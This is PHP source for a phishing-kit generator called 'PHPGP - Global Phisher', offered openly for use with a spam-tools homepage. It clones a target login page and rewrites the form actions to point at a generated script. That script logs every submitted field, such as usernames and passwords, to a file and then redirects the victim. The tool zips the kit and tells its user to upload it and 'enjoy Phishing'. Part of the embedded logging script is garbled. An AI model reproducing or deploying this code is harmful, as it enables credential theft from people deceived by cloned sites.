CONFIGURATION #-------------------------- // @error_reporting(E_ALL); // @set_time_limit(0); #-------------------------- # => FORM #-------------------------- echo' PHPGP - Global Phisher By: Libyan Shell
[---]               Created by: Libyan Shell              [---]
[---]                 Version: 1.0.0                      [---]
[---]       Homepage: https://spamtools.pro               [---]
'; #-------------------------- # => PROCESS #-------------------------- if (isset($_POST["submit"])) { $target = Remove_Last_Slash(Validation_Filter($_POST['target'])); $our_action_file = Validation_Filter($_POST['oaf']); $data_file = Validation_Filter($_POST['df']); $redirect = Validation_Filter($_POST['redirect']); __Out('Global Phisher start working - ' . date("m.d.y") . ' - Target : ' . $target . ' ..','#339966'); $options = array('http' => array('user_agent' => 'Mozilla/5.0 (Windows NT 6.1; rv:47.0) Gecko/20100101 Firefox/49.0')); $context = stream_context_create($options); $page = file_get_contents($target, false, $context); $new_page = Source_Edit($page,$our_action_file,$target); _File_Put_Contents('index.html',$new_page); Create_Data_File($data_file); Create_Action_File($our_action_file,$data_file,$redirect); $our_files = array( 'index.html', $our_action_file, $data_file ); $zip_file = MD5($target.TIME()); Create_zip($our_files,$zip_file.'.zip'); Mass_Delete($our_files); __Out('Congratulations :) , Download your PHISHING PAGE : HERE , Upload it on your host and enjoy Phishing...','#339966'); } #-------------------------- # => FUNCTIONS #-------------------------- function My_URL() { $cfn = basename( $_SERVER[ 'PHP_SELF' ] ); $url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $url = str_replace($cfn, '', $url); return $url; } function Remove_Last_Slash($host) { if(strrpos($host, '/', -1) == strlen($host)-1) {return substr($host,0,strrpos($host, '/', -1));} else{return $host;} } function Validation_Filter($string) { if (isset($string) & $string !== '') { if (get_magic_quotes_gpc()) { $string = stripslashes($string); } return trim(htmlentities(strip_tags($string))); }else{ __Out('All the fields must be filled in !','#FF0000'); die(); } } function Flush_Flush() { sleep(1); ob_flush(); flush(); } function __Out($msg,$clr) { echo '
'.$msg.'
'; Flush_Flush(); } function _File_Put_Contents($filename,$data) { $f = @fopen($filename, 'w'); if (!$f) { __Out('Couldn\'t create the file ' . $filename . ' !','#FF0000'); return false; } else { $bytes = fwrite($f, $data); fclose($f); __Out('The file ' . $filename . ' was Created !','#339966'); return $bytes; } } function Mass_Delete($files_array) { foreach ($files_array as $file) { if ( @unlink ( $file ) ) { __Out('The file ' . $file . ' was deleted !','#339966'); } else { __Out('Couldn\'t delete the file ' . $file . ' !','#FF0000'); } } } function Source_Edit($source,$action_file,$url) { $url_info = @parse_url( $url ); $link = @$url_info['scheme'] . '://' . @$url_info['host']; preg_match_all('|action="([^"]*?)"|i', $source, $actions); foreach ($actions[0] as $action) { $source = str_replace($action,'action="'.$action_file.'"',$source); } preg_match_all('~<(script|img|link)(.*)(src|href)(.*)=(.*)"(.*)"~U', $source, $srcs); foreach ($srcs[6] as $src) { if(preg_match('/([jpg]{3}$)|([gif]{3}$)|([jpeg]{4}$)|([bmp]{3}$)|([png]{3}$)|([js]{2}$)|([css]{3}$)/', $src) == 1) { if (substr($src, 0, 7) !== "http://" && substr($src, 0, 8) != "https://") { $source = str_replace($src,$link.'/'.$src,$source); } } } return $source; } function Create_Data_File($filename) { $dfd = ' //-----------------------------------------------------------------// // Created by : [PHP Global Phisher] - '. date("m.d.y") .' //-----------------------------------------------------------------// '; _File_Put_Contents($filename,$dfd); } function Create_Action_File($filename,$data_file,$redirect) { $oafd = ' $value) { $_POST[$key] = $value; fwrite($handle, $key ."=". $value . "\r\n"); } fwrite($handle,"-------------------------------------"."\r\n"); fclose($handle); sleep(1); die(\'\'); ?> '; _File_Put_Contents($filename,$oafd); } function Create_zip($files = array(),$destination = '',$overwrite = false) { if(file_exists($destination) && !$overwrite) { return false; } $valid_files = array(); if(is_array($files)) { foreach($files as $file) { if(file_exists($file)) { $valid_files[] = $file; } } } if(count($valid_files)) { $zip = new ZipArchive(); if($zip->open($destination,$overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) { return false; } foreach($valid_files as $file) { $zip->addFile($file,$file); } $zip->close(); __Out('The archive file "' . $destination . '" was Created successfully !','#339966'); return file_exists($destination); } else { __Out('Couldn\'t create the archive file ' . $destination . ' !','#FF0000'); return false; } } ?>